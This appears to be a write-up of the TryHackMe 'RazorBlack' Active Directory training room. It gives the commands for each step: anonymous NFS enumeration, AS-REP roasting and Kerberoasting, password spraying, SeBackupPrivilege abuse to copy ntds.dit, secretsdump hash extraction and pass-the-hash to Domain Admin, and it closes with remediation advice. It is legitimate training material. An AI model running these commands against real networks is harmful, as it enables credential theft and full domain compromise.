RazorBlack
An anonymous NFS share leaks a staff list, AS-REP roasting and Kerberoasting hand over two accounts, and SeBackupPrivilege is used to dump NTDS.dit for full domain compromise.
TryHackMe: RazorBlack — NFS Leaks, AS-REP Roasting, and SeBackupPrivilege to Full Domain Compromise
A walkthrough of the “RazorBlack” TryHackMe Active Directory room. An anonymous NFS share leaks a staff directory, AS-REP roasting and Kerberoasting peel off two low-privileged accounts, and SeBackupPrivilege lets us walk out with the entire NTDS.dit — ending in Domain Admin, plus a full set of “additional objectives” flags along the way.
The flags, cracked passwords, and NTLM/Kerberos hash values are redacted. RazorBlack is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Values shown as
<redacted>are real on the box but withheld here.
TL;DR
TL;DR
An anonymous NFS export leaks a spreadsheet of employee names → building a username list from it and running AS-REP roasting cracks twilliams’s password → that password is reused on a Kerberoastable service account, xyan1d3, who sits in Backup Operators → SeBackupPrivilege lets us use diskshadow + robocopy to copy out ntds.dit and the SYSTEM hive → secretsdump recovers every domain NTLM hash, including the Administrator’s → pass-the-hash over WinRM → Domain Admin.
Anonymous NFS → staff list → AS-REP roast → password reuse → Kerberoast → SeBackupPrivilege → NTDS dump → Domain Admin.
The target
export IP=<target-ip>
export DOMAIN=raz0rblack.thm
export DC=haven-dc
HAVEN-DC is the domain controller for raz0rblack.thm, exposing the full AD port set — Kerberos (88), LDAP (389), SMB (445), WinRM (5985), RDP (3389) — plus an exported NFS share (2049).
The vulnerability: everything starts from an export nobody locked down
Insight
An NFS export world-readable to “everyone” is a classic AD foothold — it rarely holds a password outright, but it very often holds names, and a domain’s usernames are the one piece of information every later Kerberos attack needs.
showmount -e $DC
# Export list for raz0rblack.thm: /users (everyone)
mount $DC:/users /mnt/users
The share holds a flag file for one user (sbradley) and an employee_status.xlsx spreadsheet listing every staff member’s full name. Converting First Last → flast builds a username list good enough to feed every subsequent attack.
Step 1 — AS-REP roasting finds a user with no Kerberos pre-auth
impacket-GetNPUsers -no-pass $DOMAIN/ -usersfile modified_names.txt -format hashcat -outputfile hashes.txt
# twilliams doesn't require pre-authentication -> AS-REP hash captured
hashcat -m 18200 -a 0 hashes.txt rockyou.txt
# twilliams -> <redacted-password>
Step 2 — password reuse unlocks a Kerberoastable service account
impacket-GetUserSPNs $DOMAIN/twilliams:'<redacted-password>' -dc-ip $DC -request -outputfile kerb.hash
# SPN found for xyan1d3 (member of Remote Management Users)
hashcat -m 13100 -a 0 kerb.hash rockyou.txt
# xyan1d3 -> <redacted-password>
nxc winrm $DC -u xyan1d3 -p '<redacted-password>'
# raz0rblack.thm\xyan1d3:<redacted-password> (Pwn3d!)
Step 3 — SeBackupPrivilege dumps NTDS.dit as a non-admin
xyan1d3 belongs to Backup Operators, which carries SeBackupPrivilege/SeRestorePrivilege — enough to back up the entire filesystem without being a domain admin.
Insight
This is the well-documented SeBackupPrivilege abuse path (shadow-copy the volume, then just copy NTDS.dit out of the shadow mount) — no admin rights needed, only the backup-operator privilege most orgs hand out too freely.
# upload a diskshadow script, then:
diskshadow /s diskshadow.txt # shadow-copies C: and exposes it as E:
robocopy /b E:\Windows\ntds . ntds.dit
reg save HKLM\SYSTEM .\SYSTEM
Step 4 — secretsdump + pass-the-hash to Domain Admin
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL -just-dc-ntlm
# Administrator:500:...:<redacted-ntlm-hash>:::
evil-winrm -i $DC -u administrator -H <redacted-ntlm-hash>
# whoami -> raz0rblack\administrator (Domain Admins, Enterprise Admins)
Additional objectives — chasing down every flag
The room has several side flags beyond the main path; each is its own small lesson.
- Steven’s flag sits unencrypted in the NFS share itself, found during the very first
/usersmount. - Xyan1d3’s flag is hidden inside a
PSCredentialXML in the user’s profile. TheUserNamefield is a taunt (“Nope your flag is not here”) but the encryptedPasswordfield is readable with the user’s own DPAPI key:
$credential = Import-Clixml -Path .\xyan1d3.xml
$credential.GetNetworkCredential().Password
# -> <redacted-flag>
- The Administrator’s root flag is in a second PSCredential XML, but it fails to import — the DPAPI blob was re-encoded as a plain hex string rather than left as the original encrypted blob. Decoding the hex (e.g. with CyberChef) recovers the plaintext message and flag directly, no DPAPI key needed.
- “What is the complete top secret?” is a riddle hidden in a
top_secret.pngimage found by a recursive filename search (Get-ChildItem -Include *secret*); the image shows a half-typedvimexit sequence, and the expected answer is the correct command (:wq). - Ljudmila’s flag needs a second foothold: spraying
twilliams’s cracked password across the whole username list over SMB turns up thatsbradleyhas the same password, just expired.smbpasswdlets us set a new one forsbradleywithout ever knowing the old one, which then gets SMB access to atrashshare. That share holds a chat log referencing CVE-2020-1472 (Zerologon) and a password-protected zip containing a second, earlierntds.dit/SYSTEMhive pair. Cracking the zip password withzip2john/johnand runningsecretsdumpagain against those files recovers a much larger set of domain NTLM hashes. Spraying those hashes againstlvetrovafinds the matching one, and the same PSCredential-XML trick recovers her flag. - Tyson’s flag is simply a file in
twilliams’s home directory with a deliberately absurd name (definitely_..._not_a_flag.exe) that is, despite appearances, plain text.
Impact
Critical
Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Full domain compromise, and the chain never required an initial credential at all:
- Anonymous NFS access leaked a usable username list, which fed every Kerberos attack that followed.
- Password reuse between a human account and a service account turned a single AS-REP crack into Kerberoasting access.
- Over-provisioned Backup Operators membership let a low-privileged account exfiltrate the entire Active Directory database without ever touching Domain Admin rights directly.
Recommended fix
Fix
- Lock down NFS exports to specific hosts, never
everyone, and don’t store PII/credentials-adjacent data (staff directories) on them. - Enforce unique Kerberos pre-authentication for all accounts and ban password reuse between human and service accounts with a password-manager/vaulting policy.
- Treat Backup Operators as Tier-0. Membership is functionally equivalent to Domain Admin given
SeBackupPrivilege; restrict it as tightly as admin groups and monitordiskshadow/vssadminusage.
Takeaways
- A read-only file share is still a reconnaissance goldmine. Names alone are enough to drive AS-REP roasting and Kerberoasting against an entire domain.
- Password reuse is the thread that ties unrelated accounts together. One cracked human password unlocked a service account with real privilege.
- “Backup” privileges are root-equivalent in AD. Any privilege that can read arbitrary files, including the domain database, should be treated as a Tier-0 credential.
Thanks for reading. RazorBlack strings together nearly every classic AD misconfiguration in one box, and it’s worth replaying each step slowly — the side-objective flags teach as much as the main path does.